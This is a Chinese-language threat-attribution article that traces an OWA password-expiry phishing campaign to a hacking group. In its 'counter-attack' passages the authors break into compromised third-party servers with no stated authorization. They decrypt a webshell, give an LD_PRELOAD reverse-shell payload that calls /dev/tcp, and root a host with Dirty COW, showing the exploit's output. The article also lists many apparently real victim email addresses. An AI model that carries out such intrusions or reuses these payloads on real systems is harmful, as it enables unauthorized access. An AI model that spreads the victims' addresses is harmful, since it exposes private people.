据统计,约92%的数据泄露事件与社会工程学事件和网络钓鱼攻击有关。近年来钓鱼攻击已经成为了APT定向威胁攻击的首要入口,黑客通过诱导受害者点击恶意链接,窃取登陆凭证,或是利用木马感染受害者电脑。以此作为跳板进而入侵企业内网,威胁企业业务安全和敏感数据。本文结合案例介绍如何在溯源场景中加入红队技术,通过反制手段抽丝剥茧,从海量的样本数据中提取有效的关键信息,一步一步还原邮件钓鱼攻击手法和背后的黑客组织信息。普通式钓鱼攻击(大范围撒网):这种企图从电子通信中获取用户名、密码和钱包号等个人信息的犯罪诈骗行为,其本质上是社会工程攻击。鱼叉式钓鱼攻击(精准攻击):针对机构、大型企业、银行或有影响力的人群。攻击者会精心构造邮件主题、邮件内容及附带的文档名,使其极具欺骗性、迷惑性。鱼叉式钓鱼攻击常见于APT攻击(定向威胁攻击)。恶意链接背后可能是假冒的网站,例如企业业务系统登陆入口。或是恶意附件下载链接,例如伪造Flash升级下载、SSLVPN客户端下载等。亦或是使用可信第三方中转站点放置载荷等,例如主流网盘。这是目前攻击成本最低也是最常见的一种攻击方式。附加包含带恶意代码的Office宏文档、伪装图片、压缩包、可执行程序等,一旦受害者执行,则被攻击者远程控制电脑。攻击者需要精准识别受害者终端软件的版本信息,利用如浏览器、Office、PDF等常用软件的0day/Nday漏洞进行定向攻击,这类攻击成本最高,常见于高级别APT定向威胁攻击中。黑客团伙基于成本和隐匿的考量,通常使用肉鸡来构建基础设施,例如跳板代理、邮件服务器、伪装的钓鱼网站等。首先我们简单了解一下邮件头常用的字段。(1)Received:路由信息,记录了邮件传递过程。
(2)Data:表示邮件建立的时间,既不是发送时间也不是接收时间,是邮件发送方创建邮件的时间。
(3)From:表示一个或多个邮件的作者,显示在正文的发件人。由发件方编辑,例如发垃圾的就会将此字段编辑成不存在的地址;发诈骗邮件的就会将此字段编辑成被冒充的邮件地址。
(4)To:表示邮件的接收地址。
(5)CC:表示抄送的邮件地址。
(6)BCC:表示密送的邮件地址。
(7)Subject:表示邮件的主题。
(8)Sender:表示邮件的实际投递者(只能是一个),一般由收件方添加,邮件服务商在收到邮件后会将邮件会话里面的实际投递者与信头From字段标识的发件这进行比较,如不一致则在信头下方加入Sender字段标识邮件实际投递者,但这个字段也可由发件方决定的(from 和 sender 不一致的情况下部分邮件服务商会有代发标识)。
(9)Reply-to:表示回复地址,由发件方编辑,希望收件人回复邮件时回复到指定的地址。一般情况下,如不额外添加Reply-to字段,收件人回复邮件时,将回复到原邮件From字段标识的地址。
(10)MIME-Version:表示MIME的版本。
(11)Content-Type:标识了邮件内容的格式。
(12)Return-path:标识指定的退信地址,一般情况下,不添加Return-path字段,退信默认退到Sender标识的地址。当Sender和From一致时,退信默认退到From标识的地址。
接下来我们以“邮件正文插入钓鱼链接”为例,攻击者针对企业常见的Web邮件系统,通常以过期修改密码的名义钓鱼。
下图来自真实案例中一封冒充 Microsoft Outlook WebApp 密码过期的钓鱼邮件:将这封钓鱼邮件导出为.eml格式,从源码我们可以看到邮件内容由邮件头和邮件体组成。// 邮件头
1Received: from sysmailout1.platon.sk (unknown [85.248.228.17])
by bizmx16.qq.com (NewMx) with SMTP id
for ; Thu, 29 Nov 2018 06:56:41 +0800
X-QQ-SPAM: true
X-QQ-FEAT: jfJxHuYZxOCSeMM7azx75jXNlqmrApsudtGuMpkas54ZAC17UV7M4b/R5+7i0
PKMg4QGPsKjsZDM+XUXd0s8kb9W0jCArNfxa3+HTU9vKECwH9fbHyzA2+de0ctDM9+ziJ5w
1BJI2Ppc9DVh5DYSq8ySLhcBVRj6sBsJefxrSztWrgzKi58wWFCv7LPgqOAXS+VVMyVipbT
fHFacZXmdB00T62nXv8xQociZvHE+8ELBoHVgcA3ZWA7p4no8o1e0Z8ShUvX2P5FwhvXPLZ
QUg8HNiMhXk5NEtQVC0Y7R9JwKV2VeKybQbg==
X-QQ-MAILINFO: Mms3jrkBGwMrz972clMUbgsPqZ0t5EGjrqWV2rMFcEfTT5Y9lunbPCtSM
4HaaK+iUBVTvuth5bvdEvVKkuiTcOnkJ0t3khnTYcRGfQmEIZI+ZrNXlT/8QxjWMjOsiHkK
yGbgfv5Gx9Qr65abnNzXymg=
X-QQ-mid: bizmx16t1543445804ti4ex7suw
X-QQ-CSender: www-data@m7web1.platon.sk
X-QQ-ORGSender: www-data@m7web1.platon.sk
X-KK-mid:bizmxp6t1543445804t9ne878su
Received: from m7web1.platon.sk (m7web1.platon.sk [85.248.229.150])
by sysmailout1.platon.sk (Postfix) with ESMTP id 8EFCC217002E
for ; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
Received: by m7web1.platon.sk (Postfix, from userid 33)
id 89364400A3A1; Wed, 28 Nov 2018 23:56:38 +0100 (CET)
To: test@test.cn
Subject: =?UTF-8?Q?Password_expiry_notice?=
Date: Wed, 28 Nov 2018 23:56:38 +0100
From: =?UTF-8?Q?Microsoft_Online_Services_Team?=
Message-ID:<0a9ee06dc11866565f0302302c647c7a@www.mirohaviar.sk>
X-Priority: 3
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset="us-ascii"
略......
// 邮件体 The password for the Microsoft 365 account test@test.cn hasexpired.![mir-nc.png-57.1kB][2]To protect your Microsoft =account, your existing password may cease to workshortly.You are now required to <a hre=f=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest@=test.cn">changeyour passwordimmediateIy. =2E<a href=3D"http://www.rosturplast.com/shells/logon.secureaccess/?ml=3Dtest=@test.cn略......
钓鱼网站:[www.rosturplast.com(137.74.81.5 法国)
钓鱼链接: http://www.rosturplast.com/shells/logon.secureaccess/?ml=test@test.cn
发件地址:no-response@365.mirohaviar.sk
服务商:Platon Technologies, s.r.o (斯洛伐克)
SMTP:sysmailout1.platon.sk (85.248.228.17 斯洛伐克)
访问钓鱼链接,可以看到这是一个伪造OWA修改密码的页面,我们按照正常流程随便输入一个密码。页面提示密码错误,这是一个烟雾弹,故意让受害者二次输入,这么做可以提高准确率。通常表单提交的地方我们可以尝试SQL注入或者插入XSS。前提是钓鱼网站使用数据库来存放密码。一般使用开源CMS二次开发的钓鱼网站多见于国内的黑产团伙,并且这类二开的程序安全性往往不高。抓包如下: SQL注入、跨站都不存在,攻击者由于使用的是肉鸡服务器,猜测程序是以文本的方式收集密码。访问首页,看到这是一家俄罗斯的塑料水管公司,攻击者入侵了这个网站,放置了钓鱼页面,再通过邮件传播。假设攻击者入侵这家公司后再针对这家公司员工发动精准钓鱼攻击,成功率估计会非常高。下一步我们尝试寻找攻击者利用的漏洞,通过端口扫描和Web漏洞扫描,得到沦陷主机信息。
[+] HOST: www.rosturplast.com (137.74.81.5 法国)
[+] OS: Red Hat 4.8
[+] Web Server: Apache/2.4.6 OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
[+] CMS: Joomla 3.3.3 (Joomla!是一套海外流行的建站系统,基于PHP+MySQL开发)
通过扫描发现,网站使用的CMS是Joomla 3.3.3,这个版本我们可以尝试利用CVE-2016-9838漏洞获得网站权限,实际测试后发现,攻击者在入侵网站后已经悄然修复了漏洞。
这里我们通过字典整合Joomla目录盲扫备份文件,最后发现网站存在PhpMyAdmin后台,和一个报错页面,页面显示了网站绝对路径和疑似以日期格式生成的网站备份的文件名。从这个文件名信息判断,攻击者极有可能根据域名+日期来备份整站文件,我们根据域名+日期尝试遍历文件名下载。脚本遍历2015年12月~2018年12月,当到达2017-08-07的时候,发现文件大小为177M,解压后果然是整站备份文件。
接下来我们通过控制MySQL获得了后台登陆密码,并拿到了攻击者的钓鱼程序样本、后门文件、访问IP,以及受害者信息等。这些信息对于后面我们进行漏洞分析以及证据关联起到至关重要的作用。我们通过分析Web访问日志,找到了频繁访问钓鱼程序的具体IP,这个IP大概率就是攻击者的IP。当然我们还可以通过日志拿到攻击者的User Agent信息。
⚡ root@kali /tmp/rosturplast.com/log grep "/shells/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
26 174.85.145.99
20 50.73.252.169
10 213.233.104.120
2 207.228.149.69
2 195.211.23.207
2 129.205.113.8
⚡ root@kali /tmp/rosturplast.com/log for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 174.85.145.99 来自: 美国
IP: 50.73.252.169 来自: 美国
IP: 213.233.104.120 来自: 罗马尼亚
IP: 207.228.149.69 来自: 百慕大
IP: 195.211.23.207 来自: 俄罗斯
IP: 129.205.113.8 来自: 尼日利亚
⚡ root@kali /tmp grep "/shells" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
129.205.113.8 - - [30/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36"
174.85.145.99 - - [27/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
207.228.149.69 - - [28/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
213.233.104.120 - - [27/Nov/2018//www.rosturplast.com/shells//bacu.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv
50.73.252.169 - - [29/Nov/2018//www.rosturplast.com/shells/config.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
通过受害者信息我们可以大致了解到攻击者针对的目标是金融和科技公司。egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
⚡ root@kali /tmp egrep '[0-Z_]{1,}@[0-Z]{1,}(\.[0-Z]{1,})+' * | awk -F "\"" '{print $2}' |awk -F "HTTP" '{print $1}' |awk -F "ml=" '{print $2}' |sort |uniq
alexsin54@yahoo.com
clavenda.payman@lbdi.net
dennis@rayfields.co.za
georges.raad@nera.net
gthakkar@sscinc.com
jasonchowan223@gmail.com
******@******.com
jiajie.lim@cimb.com
kohchinbeng@bdo.com.sg
mayfaithlee@hotmail.com
philip@beekoo.hk
Point72.IR@sscinc.com
shunweicapital@sscinc.com
url@email.com
攻击者为了隐匿行踪,同样会使用肉鸡来发送邮件,因此想要确定攻击者身份,我们还需要进一步分析发件地址,追踪发现,这个地址来自一个博客。[+] HOST: mirohaviar.sk(85.248.229.150 斯洛伐克)
[+] OS: Debian 7
[+] Web Server:Apache/2.2.22 PHP/5.2.6-1+lenny16
[+] CMS: Joomla 1.5
通过漏洞扫描发现发件服务器存在大量漏洞,但是没有一个可以利用,猜测是攻击者已经做了修复。一般到这里只能尝试旁站或者C段渗透了。但我们通过攻击者的行为分析,猜测这类利用通用漏洞批量入侵的黑客团伙,一般使用相同后门或者文件名。于是我们根据前面获取的后门去匹配当前网站,发现了相同后门。⚡ root@kali /tmp/rosturplast.com/webroot/shells md5sum *
724e7316427151ea1f449f38a28f642c 406.php
3e8a7cf7049e8b9ab8dfca7d3c827c4a aaaa
aaf775b99997c166ff45677806d809de an.php
e5c06f1f66781ba5c39d909096c4cd47 a.txt
f71ad06982064b125d155b6f601198b8 bacu.php
f2d7553b97d8e0a0258e48c3ca42a7d2 baer.php
c01a0691c484a8d00977a100d8706b50 cfg.php
e5c06f1f66781ba5c39d909096c4cd47 config.php
md5sum: logon.secureaccess: 是一个目录
983ba05973b84e33e76916ca0dabedec new2bug.txt
1c014f955a67974dc779100c13162f1a priv8.php
2a73dda7ebb3b8d1c0d094b79623e9ff setup.php
80b5dadd0a9856f1e6d950843140d24e switch-security.php
48f50fb676028e0ae82f3f2db4e26247 unzipper.php
51f0bba7ec30b8778dca19ead016a58f webapp365.zip
58d1d66c0be0739319156702522b1b52 wso.php
其中 http://www.mirohaviar.sk/config.php是攻击者的加密Webshell,我们通过解密后门获得了登陆密码。
awk -F "\"" '{print $2}' config.php
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\'
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}'
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}'
awk -F "\"" '{print $2}' config.php| base64 -d -i|awk -F "\"" '{print $2}' |sed 's/\\x//g' |tr -d '\\' |xxd -r -p |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i |awk -F "\"" '{print $2}' |base64 -d -i
我们的目的是溯源攻击者,最重要是拿到网站的访问日志,但是当前的Webshell只有普通web权限(www-data)且受到了disable_function 和 openbasedir 的限制,因此无法跨目录和执行命令。此时我们需要将Webshell反弹到外网的VPS上,进一步提升权限。disable_functions:escapeshellarg,escapeshellcmd,exec,passthru,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system,popen,pcntl_exec
open_basedir: /storage/www/mirohaviar.sk/:/storage/www-include/:/usr/share/php5/:/usr/share/file/:/usr/share/pear/:/tmp/
这里我们利用LD_PRELOAD动态链接来劫持php的mail函数突破disable_functions执行系统命令。
查看sendmail函数在执行过程中动态调用哪些标准库函数。www-data@m7web1:/tmp$ readelf -Ws /usr/sbin/sendmail
Symbol table '.dynsym' contains 420 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __printf_chk@GLIBC_2.3.4 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getegid@GLIBC_2.2.5 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND dane_raw_tlsa@DANE_0_0 (4)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_ocsp_resp_print@GNUTLS_3_4 (5)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_x509_crt_get_serial@GNUTLS_3_4 (5)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND __errno_location@GLIBC_2.2.5 (3)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND gnutls_db_set_cache_expiration@GNUTLS_3_4 (5)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sendto@GLIBC_2.2.5 (3)
......
76: 0000000000000000 0 FUNC GLOBAL DEFAULT UND getuid@GLIBC_2.2.5 (3)
77: 0000000000000000 0 FUNC GLOBAL DEFAULT UND send@GLIBC_2.2.5 (3)
从中选取geteuid函数进行测试,编写动态链接程序bypass.c
void payload() {
system("bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/999 0>&1");
}
int geteuid() {
if(getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
当这个共享库中的geteuid被调用时,就会加载payload()函数,执行命令调用system向我们的外网IP执行反弹shell。通过反弹shell我们已经突破了disable_function 和 openbasedir 限制,可以访问Web目录和数据库,令人遗憾的的是apache日志目录/var/log/apache2/无权限访问。在进一步信息收集的过程中,我们在/tmp目录下面发现了一个有趣的日志文件。[/tmp/]$cat w
--2018-11-26 04:49:06-- http://187.85.134.4/cacat/mm.tgz
Connecting to 187.85.134.4:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 769309 (751K) [application/x-gzip]
Saving to: 'mm.tgz'
0K .......... .......... .......... .......... .......... 6% 174K 4s
50K .......... .......... .......... .......... .......... 13% 176K 4s
100K .......... .......... .......... .......... .......... 19% 14.1M 2s
150K .......... .......... .......... .......... .......... 26% 353K 2s
200K .......... .......... .......... .......... .......... 33% 353K 2s
250K .......... .......... .......... .......... .......... 39% 19.8M 1s
300K .......... .......... .......... .......... .......... 46% 355K 1s
350K .......... .......... .......... .......... .......... 53% 28.7M 1s
400K .......... .......... .......... .......... .......... 59% 23.6M 1s
450K .......... .......... .......... .......... .......... 66% 344K 1s
500K .......... .......... .......... .......... .......... 73% 18.0M 0s
550K .......... .......... .......... .......... .......... 79% 360K 0s
600K .......... .......... .......... .......... .......... 86% 20.4M 0s
650K .......... .......... .......... .......... .......... 93% 20.2M 0s
700K .......... .......... .......... .......... .......... 99% 12.7M 0s
750K . 100% 2438G=1.3s
2018-11-26 04:49:10 (577 KB/s) - 'mm.tgz' saved [769309/769309]
这里我们通过GoogleHacking 发现了攻击者已经删除的后门文件快照,从里面得到了攻击者所在的组织的信息。
根据泄露日志,使用谷歌搜索关键字:http://187.85.134.4,发现了一个已经被删除的历史页面。这是一个被删除的后门页面,我们进一步搜索一下这个后门参数的关键字:inurl:bc.php?filesrc=,得到了多条后门记录。其中多个WebShell缓存页面内容跟上一个被黑网站的临时目录中发现的日志内容吻合,疑似自动化攻击留下的日志,WebShell底部署名:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack Cyber ,表明后门为这个黑客组织所有。
进一步搜索这个黑客组织名称,发现大量被黑网站,程序使用Wordpress与Joomla居多。由于前面我们已经获得了攻击者的后门信息,我们依然使用同样的方法登陆这些被黑的网站,分析出攻击者IP和User Agent。
根据后门文件名,匹配Apache访问日志,到攻击者代理IP和User Agent。
✘ ⚡ root@kali /tmp/radiolanalhue.cl/log/ grep "/beez5/" radiolanalhue.cl-Dec-2018
攻击者代理IP:
1212.1.211.3 (美国) - - [30/Nov/2018:13:35:36 -0300] "GET /online/templates/beez5/bc.php HTTP/1.1" 200 16823 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort |uniq
148 197.211.61.82 (尼日利亚)
8 178.128.221.199 (希腊)
⚡ root@kali /tmp/zebramedia.al/log/home/vayqpdvg/logs grep "INSTALL.sql.txt.php" * | grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
178.128.221.199 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
197.211.61.82 - - [29/Nov/2018//www.zebramedia.al/wp-content/themes/shells/INSTALL.sql.txt.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36"
我们还在其中一个被入侵的网站上发现了其他的钓鱼程序。使用之前得到的后门文件中的关键字(config.php)对这3个网站文件进行匹配,发现其中2个存在相同后门文件,并且文件MD5值相同,此时我们可以确认,这是同一伙人。
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}'
./rosturplast.com/www/rosturplast.com/shells/config.php
./mirohaviar.sk/www/config.php
./zebramedia.al/www/zebramedia.al/config.php
./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
后门文件MD5
⚡ root@kali /tmp find . -name "*.php" |xargs grep "\$bm_____s" |awk -F ":" '{print $1}' |xargs md5sum
e5c06f1f66781ba5c39d909096c4cd47 ./rosturplast.com/www/rosturplast.com/shells/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./mirohaviar.sk/www/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./zebramedia.al/www/zebramedia.al/config.php
e5c06f1f66781ba5c39d909096c4cd47 ./www.radiolanalhue.cl/www/public_html/online/administrator/templates/bluestork/config.php
[+] HOST: 187.85.134.4(巴西)
[+] OS: Ubuntu [+] Web Server: Apache/2.2.22 / PHP/5.3.10-1ubuntu3.19
[+] CMS: 未知
通过端口判断我们发现目标存在低版本ProFTPD漏洞,我们可以通过这个漏洞往Web目录写入一个Webshell。在Web目录下面发现用于发送钓鱼邮件的Perl脚本、邮件钓鱼样本、大量的邮箱地址、挖矿后门以及DDOS脚本等。我们分析发现这是一台承担主控作用的傀儡服务器,负责向肉鸡节点分发后门脚本和邮箱地址列表等。图示是针对丹麦丹斯克银行(Danske Bank)和希腊阿尔法银行(Alpha Bank)的邮件钓鱼样本。统计目录下的 txt 文本数量,发现共有六十二万四千个邮箱地址,这些都是攻击者准备钓鱼的目标。
⚡ root@kali /tmp/187.85.134.4/www/cat wc -l *.txt
624000 总用量
⚡ root@kali /tmp/187.85.134.4/www/cacat grep "@gmail.com" *.txt |head -n 20a0000001.txt:a.l.v.e.rtadsmileyksso@gmail.coma0000001.txt:a.l.v.ertadsmileyksso@gmail.coma0000001.txt:a.lfer.gm@gmail.coma0000001.txt:a.lieseijsink@gmail.coma0000001.txt:a.linkhusen@gmail.coma0000001.txt:a.loldrup@gmail.coma0000001.txt:a.lovendahl@gmail.coma0000001.txt:a.lv.e.rtadsmileyksso@gmail.coma0000001.txt:a.lver.tadsmileyksso@gmail.coma0000001.txt:a.m.edsberg@gmail.coma0000001.txt:a.m.morcke@gmail.coma0000001.txt:a.m.quist@gmail.coma0000001.txt:a.m.svendsen@gmail.coma0000001.txt:a.merete.p@gmail.coma0000001.txt:a.mette.sm@gmail.coma0000001.txt:a.miller8111@gmail.coma0000001.txt:a.moejbaek@gmail.coma0000001.txt:a.moltkehansen@gmail.coma0000001.txt:a.munktved@gmail.coma0000001.txt:a.n.knutzen@gmail.com ⚡ root@kali /tmp/187.85.134.4/www/cat grep "@outlook.com" *.txt |head -n 20a0000001.txt:a.m.westra@outlook.coma0000001.txt:a.olsen@outlook.coma0000002.txt:aagren@outlook.coma0000003.txt:aandanimalcity@outlook.coma0000003.txt:aarhus-ungegruppe@outlook.coma0000004.txt:aase.lousdal@outlook.coma0000006.txt:abroschultz@outlook.coma0000008.txt:adamfred2@outlook.coma0000008.txt:adexecsolution@outlook.coma0000010.txt:adrian.f.a.svendsen@outlook.coma0000015.txt:aiah@outlook.coma0000015.txt:aimeegarcia584@outlook.coma0000016.txt:ajolicoeu@outlook.coma0000018.txt:akstrup@outlook.coma0000020.txt:alexander_bangsborg@outlook.coma0000020.txt:alexanderkopke@outlook.coma0000020.txt:ali__sivan@outlook.coma0000021.txt:alicegerner@outlook.coma0000022.txt:allanjeppesen@outlook.coma0000023.txt:allworlduseu@outlook.com ⚡ root@kali /tmp/187.85.134.4/www/cat grep "@163.com" *.txt |head -n 20a0000001.txt:a31a18615@163.coma0000001.txt:a398c671@163.coma0000059.txt:backlink0321@163.coma0000061.txt:banqianm8256@163.coma0000075.txt:bf86ad32@163.coma0000121.txt:cbb146672@163.coma0000129.txt:chenbin800519@163.coma0000134.txt:chuofuh3082@163.coma0000157.txt:davidhuang001@163.coma0000162.txt:dfjiuew@163.coma0000209.txt:f08dbf326@163.coma0000213.txt:fanxued79193@163.coma0000221.txt:fjfzpy@163.coma0000227.txt:fon@163.coma0000259.txt:guangdk@163.coma0000311.txt:huhuanqiang00161@163.com
我们最终的目的是追踪攻击者的IP,但是当前只有低权限的Webshell,无法访问Apache日志目录。
[/var/www/]$ls -al /var/log/apache2/
ls: cannot open directory /var/log/apache2/: Permission denied
[/var/www/]$cat /etc/issue
Ubuntu 12.04.2 LTS \n \l
[/var/www/]$uname -an
Linux medidor2 3.5.0-23-generic
这里我们直接使用内核漏洞提权,经过本地测试发现 CVE-2013-2094、CVE-2013-1763 由于依赖关系会导致提权失败。脏牛(CVE-2016-5195)是近年来比较流行的内核提权漏洞,而目标正好在脏牛的影响范围之内。我们通过脏牛提权成功获得了傀儡服务器的最高权限。
www-data@medidor2:/tmp$gcc -Wall -o hello dirtycow-mem.c -ldl -lpthread
www-data@medidor2:/tmp$ ls
hello
www-data@medidor2:/tmp$ chmod +x hello
www-data@medidor2:/tmp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@medidor2:/tmp$ ./hello
[*] range: b7573000-b7716000]
[*] getuid = b762bd10
[*] mmap 0xb73cb000
[*] exploiting (patch)
[*] patched (madviseThread)
[*] patched (procselfmemThread)
root@medidor2:/tmp
[*] unpatched: uid=33 (madviseThread)
[*] unpatched: uid=33 (procselfmemThread)
root@medidor2:/tmp
uid=0(root) gid=0(root) groups=0(root)
特别说明的是,任何提权测试都需要在本地环境进行多次的严格测试,确认无异常后方可对目标使用。⚡ root@kali /tmp/ grep "/cacat/" * |grep "php" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
95 185.56.80.138
77 197.211.60.52
70 67.71.3.8
59 207.35.210.35
41 99.226.207.46
41 193.215.40.238
39 197.211.59.163
38 82.61.95.132
38 66.249.73.95
37 76.26.34.181
37 197.234.221.77
31 105.112.27.60
29 105.112.23.41
20 109.166.138.68
16 66.249.79.61
16 197.211.61.18
14 212.100.77.191
12 197.234.221.210
8 66.249.79.35
8 66.249.73.64
7 154.118.69.165
5 66.249.73.67
......
⚡ root@kali /tmp for line in $(<ip.txt); do curl https://ip.cn/\?ip\=$line ; done
IP: 185.56.80.138 来自: 荷兰
IP: 197.211.60.52 来自: 尼日利亚
IP: 67.71.3.8 来自: 加拿大
IP: 207.35.210.35 来自: 加拿大
IP: 99.226.207.46 来自: 加拿大
IP: 193.215.40.238 来自: 挪威
IP: 197.211.59.163 来自: 尼日利亚
IP: 82.61.95.132 来自: 意大利
IP: 66.249.73.95 来自: Google 骨干网
IP: 76.26.34.181 来自: 美国
IP: 197.234.221.77 来自: 贝宁
IP: 105.112.27.60 来自: 尼日利亚
IP: 105.112.23.41 来自: 尼日利亚
IP: 109.166.138.68 来自: 罗马尼亚
IP: 66.249.79.61 来自: Google 骨干网
IP: 197.211.61.18 来自: 尼日利亚
IP: 212.100.77.191 来自: 尼日利亚
IP: 197.234.221.210 来自: 贝宁
IP: 66.249.79.35 来自: Google 骨干网
IP: 66.249.73.64 来自: Google 骨干网
IP: 154.118.69.165 来自: 尼日利亚
IP: 66.249.73.67 来自: Google 骨干网
......
⚡ root@kali /tmp/ grep "/cacat" *| grep "php" |grep "POST" |awk -F ":" '{print $2 $6}' |sort |uniq
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
109.166.138.68 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=120" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36"
185.56.80.138 - - [31/Jan/2018//187.85.134.4/cacat/portal/portal/userlogin.php?sfm_sid=8425" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36"
196.52.34.20 - - [12/Oct/201835.0) Gecko/20100101 Firefox/35.0"
207.35.210.35 - - [21/Aug/2018//187.85.134.4/cacat/win2018/winbnk/EBlogin.html?sitecode=GR&lang=el-GR" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.99 Safari/537.36"
197.211.60.52 - - [07/Sep/2018:16:02:40 -0300] "GET /cacat/nnnnn.zip HTTP/1.1" 200 4489167 "http://187.85.134.4/cacat/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36"
查看web目录下txt文件访问情况,发现总共有一万多个IP,包含受害者主机IP、各种搜索引擎爬虫IP、各路黑客的IP等等。
grep "/cacat/" * |grep "txt" | awk -F ":" '{print $2}' |awk '{a[$1]+=1;} END {for(i in a){print a[i]" "i;}}' |sort -t " " -k 1 -n -r >ip.txt
⚡ root@kali ~/Desktop wc -l ip.txt
10101 ip.txt
我们需要一个热力图来展示受害者的地区分布情况,将受害者IP转换成经纬度坐标,再通过地图API生成热力图即可。我们通过观察发现,早期的中东黑客热衷于通过涂改网站首页宣传自己。这一点跟国内早期离散状态的黑客极为相似,都以炫技为目的。后期这些黑客逐渐由单兵作战状态演变为有组织有目的的黑客组织,攻击目标也由随机目标转向以美国政府以及关联组织为主。这种通过网络攻击行为表达某种政治诉求方式,随着中东局势的变化而波动。这次溯源的黑客组织从早期到中期的演进也符合这个规律,后期的攻击目的多与金钱有关,攻击目标转向了金融和科技公司雇员和欧洲银行客户,攻击手法多为大面积撒网式钓鱼攻击。
名称:Muslim Cyber Corp - Mujahidin Cyber Army - Family Attack CyberHawk_B404
MR.S1NS_Y
koneksi eror
GU3LT03M
SinonX
./B4Z1R007
./Bl4ckJ4ck
anon99husein
4GottenName
Gantai
4nzeL4
AKEMI403
alexsin54@yahoo.com
jasonchowan223@gmail.com
macacperus@yopmail.com
bidibidibidi@yopmail.com
bidi.pici11@hotmail.com
bidi.cuc@mail.com
flrnvasilica@gmail.com
美国政府机构、欧洲银行客户、亚洲金融机构,科技公司雇员
- 巴勒斯坦黑客公布大约2万名联邦调查局(FBI)和9千名国土安全部(DHS)官员的个人信息
